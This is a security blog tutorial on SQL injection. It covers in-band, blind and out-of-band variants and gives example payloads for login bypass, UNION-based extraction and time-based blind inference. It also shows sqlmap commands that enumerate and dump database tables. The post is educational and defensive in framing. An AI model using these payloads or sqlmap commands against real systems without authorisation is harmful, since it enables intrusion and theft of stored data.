~ / blog / sql-injection

Understanding SQL Injection

A technical overview of SQL injection testing, covering union-based, blind, and time-based techniques with a methodical assessment mindset.

What This Covers

What SQL injection looks like in practice, how testers confirm it, and why different variants require different response analysis.

Target / Lab

General web application assessments

Tools Used
Burp SuiteSQLMapManual payloads
Key Takeaways
  • Map the injection point and query behavior before automating anything.
  • Different SQLi variants reveal themselves through different response patterns.
  • Manual testing still matters because tooling depends on accurate assumptions.
// contents
  1. What is SQL Injection?
  2. What It Targets
  3. Types of SQL Injection
  4. Attack Examples
  5. Tools for Exploitation
  6. Detection Techniques
  7. Mitigation & Prevention
  8. Real-World Impact

What is SQL Injection?

SQL Injection (SQLi) is one of the oldest and most critical web vulnerabilities — it's been in the OWASP Top 10 for decades. It occurs when user-supplied input is embedded directly into a SQL query without proper sanitization, allowing an attacker to alter the query's logic.

The consequences range from authentication bypass and data exfiltration to full database takeover and even remote code execution in some configurations.

⚠️ Severity

A successful SQLi attack can expose every record in a database — user credentials, PII, payment data, internal configs. It's consistently one of the highest-impact vulnerability classes in web pentesting.

What It Targets

SQLi exploits any place where user input gets embedded in a SQL query. Common injection points include:

Types of SQL Injection

Classic / In-Band

Results are returned directly in the HTTP response. Inject SQL syntax and read the output on the page. Easiest to exploit.

Union-Based

Use UNION SELECT to append results from attacker-controlled queries to the original response. Requires knowing the number and type of columns.

Error-Based

Trigger database errors that reveal schema information — table names, column names, data types — in the error message.

Blind — Boolean

No output returned, but behaviour changes based on true/false conditions. Infer data one bit at a time from response differences.

Blind — Time-Based

Inject SLEEP() or equivalent. If the response is delayed, the condition is true. Slow but works when there's zero output.

Out-of-Band

Exfiltrate data via DNS or HTTP callbacks to an external server. Useful when the app gives no visible response at all.

There's also Second-Order SQLi: malicious input is stored in the database safely, then later retrieved and used unsanitized in another query. Harder to spot in black-box testing.

Attack Examples

Login Bypass

If a login query is built like SELECT * FROM users WHERE username='$user' AND password='$pass', injecting into the username field can completely bypass it.

payload
Username: admin' --
Password: anything

-- Resulting query:
SELECT * FROM users WHERE username='admin' --' AND password='anything'
-- Everything after -- is a comment; password check is skipped

Union-Based Data Extraction

payload — extract usernames and passwords
' UNION SELECT username, password FROM users --

-- First, determine number of columns:
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --   -- error here means 2 columns exist

Time-Based Blind

payload — MySQL time delay
' OR IF(1=1, SLEEP(5), 0) --
-- If response takes ~5 seconds, injection is working

' OR IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
-- Exfiltrate data one character at a time

Tools for Exploitation

sqlmap

The gold standard. Automated SQLi detection and exploitation — handles all types, extracts data, can escalate to OS shell.

Burp Suite

Intercept and manually craft SQLi payloads. Intruder for automation, Repeater for testing individual payloads.

Havij

GUI-based SQLi tool for Windows. Useful for quick automated extraction. Less flexible than sqlmap.

bash — basic sqlmap usage
# Test a URL parameter:
sqlmap -u "https://target.com/page?id=1" --dbs

# Dump a specific table:
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump

# Test with Burp request file:
sqlmap -r request.txt --level=3 --risk=2

Detection Techniques

Mitigation & Prevention

SQLi is almost entirely preventable with proper coding practices. There's no excuse for it appearing in modern applications.

Real-World Impact

Yahoo (2012)

Over 450,000 email addresses and plaintext passwords leaked via SQL injection on a subdomain. The credentials were published publicly.

Heartland Payment Systems (2008)

Over 130 million credit card numbers stolen. Attackers used SQLi to gain a foothold, then deployed malware on the payment processing network. One of the largest data breaches in US history at the time.


✅ Key Takeaways

SQL injection is caused by treating user input as trusted SQL code. Fix it with parameterized queries. Test for it manually with single quotes and OR 1=1, then automate with sqlmap. For learning, practice on PortSwigger Web Security Academy's SQLi labs — they're excellent.

Move through the archive

Browse all posts
Newer post Hosting a Local Website with XAMPP and LocalToNet 2025-07-22 . ~4 min read

Related posts

Posts that overlap with the same tools, techniques, or target areas.

← Back to blog